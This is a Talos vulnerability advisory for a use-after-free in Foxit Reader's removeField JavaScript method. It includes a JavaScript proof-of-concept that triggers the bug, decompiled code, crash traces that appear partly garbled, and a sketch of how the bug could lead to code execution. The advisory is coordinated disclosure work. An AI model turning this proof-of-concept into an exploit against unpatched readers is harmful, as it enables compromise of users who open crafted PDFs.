Talos Vulnerability Report

TALOS-2021-1294

Foxit Reader removeField use-after-free vulnerability

JULY 27, 2021

CVE NUMBER

CVE-2021-21831

Summary

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 10.1.3.37598. A specially crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

Tested Versions

Foxit Reader 10.1.3.37598

Product URLs

https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use after free vulnerability in the way Foxit Reader handles removal of fields from a page. Under normal circumstances, Document object method removeField takes a field name as an argument and removes it while freeing its backing memory. There exists an error in Foxit's implementation of removeField method which can lead to a use-after-free vulnerability. This can be illustrated by the following PoC:

```
function main() {
    app.activeDocs[0].getField('txt3').setAction("Format",'f17();');
    ...
    app.activeDocs[0].getField('txt3').setAction("Calculate",'f3();');
}

function f3(arg1, arg2, arg3) {
    app.activeDocs[0].getField('Radio Button0').setFocus();
    app.activeDocs[0].getField('Text Field1').setFocus();
    app.activeDocs[0].removeField("");
}

function f17(arg1, arg2, arg3) {
    app.activeDocs[0].getField('Text Field0').setFocus();
}
```

Upon closer inspection of the above code, an odd call to removeField with an empty string as argument can be spotted. The rest of the fields and actions are there to execute the necessary steps in order to trigger reuse of the freed memory and cause memory corruption. Actual implementation of removeField method is located at 00ED2470 in FoxitReader.exe binary. Quick examination reveals the following:

```
if ( CFXJSE_Arguments::GetLength(a3) < 1 )
    return 1;
UTF8String = (int *)CFXJSE_Arguments::GetUTF8String(a3, v46, 0);
v49 = 2;
v13 = *UTF8String;
if ( v13 )
    fieldName = (const CHAR *)(v13 * 12);
else
    fieldName = 6Class;
sub_1FBC440(v48, fieldName, -1);</pre>
```

The above code first checks that there are supplied arguments and then converts it to a UTF8 string. If the UTF string turns out to be empty, a special value (also a NULL pointer) is assigned to fieldName to be used. Continuing execution of removeField with NULL UTF8 string as a field name actually results in removal of all fields in a document, contrary to specifications. In general, this would simply signify a deviation from PDF JS specs, but it has significant side effects when being executed inside an event handler. In the attached PoC, the spurious removeField call is executed during txt3 field's Calculate event which is triggered separately. We can observe this behaviour in the debugger:

First breakpoint is set at the start of document's removeField method wrapper, third argument on the stack holds method arguments. Continuing execution:

```
Breakpoint 1 hit
eax=86fbd51c ebx=86fbd500 ecx=207faf00 edx=800000000 esi=207faf00 edi=1f838ff8
eip=01335390 esp=86fbd4f0 ebp=86fbd544 iopl=0 nv up ei pl nz na po nc
cs=8023 ss=802b ds=802b es=802b fs=8053 gs=802b efl=808000202
FoxiReader!CryptUWiEzkport+80xflaf0:
01335390 e8dbd80300 call FoxitReader!CryptUIWizExport+80x12ebd0 (01372470)
0:000> k 10
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 86fbd544 90zb016b FoxitReader!CryptUIWizExport+80xflaf0
01 86fbd544 90zb016b FoxitReader!CryptUIWizExport+80xflaf0
01 86fbd544 90zb016b FoxitReader!CryptUIWizExport+80xflaf0
01 86fbd674 02e75595 FoxitReader!CryptUIWizExport+80xflaf0
04 86fbd674 02e7558b1 FoxitReader!CryptUIWizExport+80xflaf0
04 86fbd674 02e7558b1 FoxitReader!CryptUIWizExport+80xflaf0
04 86fbd674 02e7574b FoxitReader!CryptUIWizExport+80xflaf0
05 86fbd674 02e7574b FoxitReader!CryptUIWizExport+80xflaf0
06 86fbd678 03e1674f7 FoxitReader!CryptUIWizExport+80xflaf0
07 86fbd73c 02fa5a7c FoxitReader!CryptUIWizExport+80xflaf0
08 86fbd740 02e7574b FoxitReader!CryptUIWizExport+80xflaf0
09 86fbd764 02fa57a FoxitReader!CryptUIWizExport+80xflaf0
09 86fbd760 02e7574b FoxitReader!CryptUIWizExport+80xflaf0
09 86fbd760 02fa5a7c FoxitReader!CryptUIWizExport+80xflaf0
```

Next breakpoint is at the call of an actual remove field implementation. We note the call stack. Further, we get to above quoted UTF8 conversion code:

Return value points to a NULL pointer because the fieldName supplied was an empty string. Continuing execution further leads to the following crash:

```
(25e4.ad8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=1896efd0 ecx=11c56fc8 edx=00000000 esi=11c56fc8 edi=1e962fb0 eip=01d2bda0 esp=06fbdb64 ebp=06fbdb78 iopl=0 nv up ei pl nz na po nc
01d2hda0 8h412c
                                                                                            eax,dword ptr [ecx+2Ch] ds:002b:11c56ff4=???????
01d2bda3 33c9
01d2bda5 85c0
                                                                     xor
test
                                                                                            eax,eax
01d2bda7 7405
01d2bda9 3908
01d2bdab 0f95c1
                                                                     je
cmp
                                                                                            FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x315ece (01d2bdae)
                                                                                             dword ptr [eax],ecx
                                                                      setne
01d2bdae 84c9
                                                                      test
                                                                                         cl,cl
FoxitReader!std::basic ostream >::operator0:000> !heap -p -a ecx
           address 11c56fc8 found in
_DPH_HEAP_ROOT @ bb01000
in free-ed allocation ( DPH_HEAP_BLOCK:
                                                                                                                                                    VirtAddr
                                                                                                                                                                                                    VirtSize)
            11b41104: 11c56000
695dae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77212c91 ntdll!RtlDebugFreeHeap+0x0000003e
          77212c91 ntdll!RtlDebugFreeHeap+0x0000003e
77173c45 ntdll!RtlpFreeHeap+0x000000d5
77173c45 ntdll!RtlpFreeHeap+0x000000d5
77173812 ntdll!RtlpFreeHeap+0x00000022
03e14756 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe16
03df25c2 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x001f5674
03dd1dfb4 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x001f5674
01d347b9 FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0031e8d9
01d25b3b FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0030ffc5b
01d24da6 FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0030ffc5b
01d24da6 FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0030ec6c
01d24da6 FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0030ec6c
01d24da6 FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0030e586
02000d08 FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0005f7eb8
0102c30c FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0002dec0
01372747 FoxitReader!std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0002dec0
01372747 FoxitReader!Std::basic_ostream<char,std::char_traits<char>>::operator<<+0x0002dec0
01337395 FoxitReader!CryptUIWizExport+0x0012eea7
            01335395 FoxitReader!CryptUIWizExport+0x000f1af5
02cb016b FoxitReader!FXJSE_GetClass+0x0000022b
02e75e59 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5729
            02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ebf
02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5181
02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x001c501b
            0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c6c7
02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000
02fa5a7c FoxitReader!CFXJSE_Arguments::GetValue+0x002f534c
            02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000
02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x002f8b8f
02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x002f89ab
            02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x00035e96
02ce60a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00035977
02cd33a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c77
            02cae8bf FoxitReader!FXJSE_Runtime_Release+0x00000c4f
02caf0d4 FoxitReader!FXJSE_ExecuteScript+0x00000014
```

In the above debugger output, we can see a crash due to access violation on invalid memory pointed to by ecx. Examining heap metadata reveals that ecx points to previously freed allocation. Further more, comparing call stacks of the free to the call stacks from previous breakpoints reveals that the free indeed happens during a call to removeField. This constitutes a use-after-free condition.

The freeing of memory occurs during a call to removeField but the reuse is triggered after event handler function f3 is done. Freed memory can be put under attacker control by executing additional code after the removeField call but before the end of event handler function f3. With careful memory layout manipulation this can lead to further memory corruption and ultimately arbitrary code execution.

Timeline

2021-04-28 - Vendor Disclosure 2021-07-27 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS PREVIOUS REPORT NEXT REPORT

TALOS-2021-1255 TALOS-2021-1336

